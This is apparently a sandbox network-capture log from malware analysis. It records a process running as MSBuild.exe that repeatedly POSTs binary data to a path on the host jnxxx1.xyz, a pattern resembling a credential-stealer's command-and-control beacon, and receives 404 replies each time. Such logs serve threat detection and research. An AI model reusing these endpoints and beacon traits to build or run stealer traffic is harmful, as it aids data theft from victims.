Jan 14, 2022 14:25:59.681890011 CET	1388	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SMTPnJ325vghWLNNjG2zelmaLADkubjhY3eMe4D37v4kPwvlXilvMCK%2FK94aUpgg26lOVcet33gjLb3R4F3U8iucT1AzCaBDoALvhB0jFmdasLsb3QnLuKtesfzf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73185bea64eaf-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49796	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:01.263489962 CET	1389	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:01.693718910 CET	1390	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=atqdpgwD3aXEHkvBrkTfE0gOJhiOB%2FVogHc%2Fr3MT9S%2BaVfj%2BWsubd9uuf%2B1PrHsXXeCrWTWsH%2FrzCTAFKpaHUBx5oGrvQHmybKb6RcHUjdFM7c79XL7%2BKD7LRwF%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd73191f9fa0b88-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49797	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:02.695748091 CET	1391	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:03.051789999 CET	1392	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sVSQx7JSh5kkI06QpSl7v55J7KKqO9lFEn2iMRzg6%2BUOeU%2Fy3Aq6IG5kV1FHqakiZzz4EicIyOGG8RnMuqxDZLPypqcmJO2U0hc%2B2zZd%2BwmLacxzYdzWPgrdjk1f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7319aed0d8bf3-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49798	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:04.152079105 CET	1393	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:05.166765928 CET	1394	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rV3S9lOgi8z1FfYbFIHzMOM6aDgwG5U6YR15jhb38BDbjcsPQLIBWG6uxn0vl%2BLFkOwnqhPhVHiE5J91GO215rZ%2B49bV5mb%2FFIVHhPTM2BvhV3YC96lKRa6xigXA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731a40ef5695b-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49800	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:06.129703999 CET	1401	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:06.518989086 CET	1444	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M6pCooKyP1ogsWi7vXjAPUvz6pO8KFflAkgCXcVje77%2BRl%2BCrMNWz04vzD9V56Bgb3opkx4MKrUFcyLnJD3GtGJoxdzG2BnCib2blh023Qa%2FXk9sFw0dS8Ngjnj9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731b06cf6b787-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49807	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:07.683357000 CET	1543	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:08.067053080 CET	1626	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LdEYtIthMhRiRyTxJferZj3fyklSP6%2FZg3xS2f6sYT45iOUxDIiJcy%2BakoBX0c4%2FzVEOjpZ7B0OUN%2F2JYaOsI5MQ2y1kmF4Vtg1jsz4qgqZxeSukFFtc6EDz76yb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731ba1b04694c-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49819	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:10.439182997 CET	1958	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:11.098567963 CET	2156	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Mves1NIsqvGBXag2QTG5swHj6IlRSm5idrymSWQcEoWrRdDvxa1bU8fIDEM%2B%2F0Z%2FRrcnEFFneKoJmx5%2BnUrNE82UB4%2BF3K81ufWM%2FBCxwyea3ilLxKIlui3%2FCA0a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731cb59cf7181-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49773	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:23.253971100 CET	1236	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:23.789335012 CET	1237	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R%2F%2BK8SVfC5ohsf5ypjZukQUxybr3HAsQTWDtDcDXSbnMW9JxaZP7acpJr4RKulgYRMQXJGPwP7krkH7BnrCvF3%2BRLS0lw1BmgNMJsLjE91QANmfP8BBqYRwu5bgj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730a4692e7a49-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49834	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:12.298203945 CET	2182	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:13.323570013 CET	2183	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bKQFJy%2By3rfUww7H7Z%2BsceGDYiXyes8NRxtLSASqGUrKVcLsCy6QO%2BCNYQcm%2F4NH0wZEcVTX2Rad3zKZ1EvHomshSA2wXNg1jaMeWVZVrtiWw2h4fxr4hV7sTe8f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731d6fd6f7a55-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49837	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:17.304219007 CET	2194	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:17.689928055 CET	2224	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KwDY2sA65K%2BVOpXcFoqUlqVHUxep0vH05eKs73Kv1HB4q%2FXh%2BNGRJ4J%2BcN5u7Nf28PpbKElf8SNdmcWnlFVtcE3DF9elXbvwVk07pupNLbq%2BdQwXBrSmjDrfUXxt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd731f63a1a4dca-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49839	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:21.377815962 CET	2246	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:21.929169893 CET	2247	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fCT4Kj%2BXgMLvYA0ag5GlxdCZDwJR8FXTC4VlXmyGO2K0YkZWUxqaHSMdOq63zoHjrYSu3hEfny9YxZLnlR3rhj9yMwitIrwP7i1tUbjo4Y%2Fi6sB6YSJCJRSUEXjN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7320fb9c67163-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49845	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:25.951453924 CET	3591	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:26.320724964 CET	5895	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1lPu08ijR8xqa%2FLRHGm%2FgAv947c3opROPlGooJmrtx7LP15TbJ3lgpeEu51NzV1flv5m7EATqHr4fm9P9qcGIHysPEpKkBR32vSDO71PxNWyoQJR7A9z66HLmxRj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7322c4c2b5c56-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49846	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:31.541838884 CET	10009	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:31.907454967 CET	10010	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ne8o3Wm34pLjW7KScqi7R56w7QyjrCCugLyQyqTwFr2nLSqTFtyo5FDMWiKRP9lKBYPJIp1Lb7201a4Np8LJvBesvoOsOSPqMvz8ALSAUYxNLRuTuiARd4ibfIyz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7324f3eb0535d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49847	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:35.369697094 CET	10011	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:35.928399086 CET	10012	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YnNEu%2B6zItX8IuIFpB3sX2430elU53UrcTDd4MzS5ywAw2%2Bh1c01vrlSa%2FhDCOcVpguSWeBGhE1od9kKJ5vm8avvGcxQRQwQU9DAhDfTg1B1p4SzmIyCwn8BSVN5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732672dd67180-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49855	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:37.609826088 CET	10794	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:38.051615000 CET	10801	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=frcFsmSz9eLqp1DVxZWeJnvDypshx0cW2P0qlZGlTrsrLXaIoz0G%2BUP%2FyIe6wetkvr7ZoLRncTcJ22FjnhUX6tqAQTm2xhPfBhp8%2FuYV9PGEfVL%2Bt%2BqwpNxz6982"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732752f244c9d-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49862	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:38.999420881 CET	10812	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:39.379360914 CET	10817	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jORwfqXwFNxbmuKpe1R4pl8NbU7SCIWP814sCA3hPWQtfh97B%2BsfQvWZoVwl2lWmOTLBHSHR2W%2FxyqfUg6QTVB%2FEctzuq0xtpO%2FDcypOAtH%2Fbj7wZ%2Bz1HHS9Q1zq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7327ddf314eaa-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49870	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:40.507004023 CET	10831	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:40.857378006 CET	10835	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uD%2BD4Yze0VxTUApbR%2FxDZT2TQa5Vv4HyOq%2F0Rt4v0bpp8b21wzq782ujo1YzcVWKBDUpsBDq%2FJP9L3ByJREkkxSg3Xc49BlegLmVh5zlLqqKHYK76WyeRPG0Rk8Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732873cb88ba5-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49874	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:42.324570894 CET	10839	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:26:42.731487989 CET	10840	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:26:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VDQouFNatucu1zUc25JJAPkbJ1N6rDWgE2bT6YjVtA0fbz8H29yPkNa3sxMkWo7ZsIG7G0NEekBE8pFECxDsiLpfOH62wqFkPeiowfve6Bz20mG7cVtwyx%2Bd8wT3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd732929d346b3c-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49774	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:25.064095974 CET	1238	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:25.444298029 CET	1239	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AYbx1EPjW8M38lBfcRioiBFm4Sb7UXA6FpLGg384JWnA%2B32O5P%2B2%2FK38UHyCe%2FlFMbNWCX7nbpLAK4pELGSnIf3LF11nYah2qFJyOBrdcs7baB2gdp%2F8T5PpvBtL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730afbc44695d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49875	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:26:44.323355913 CET	10841	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
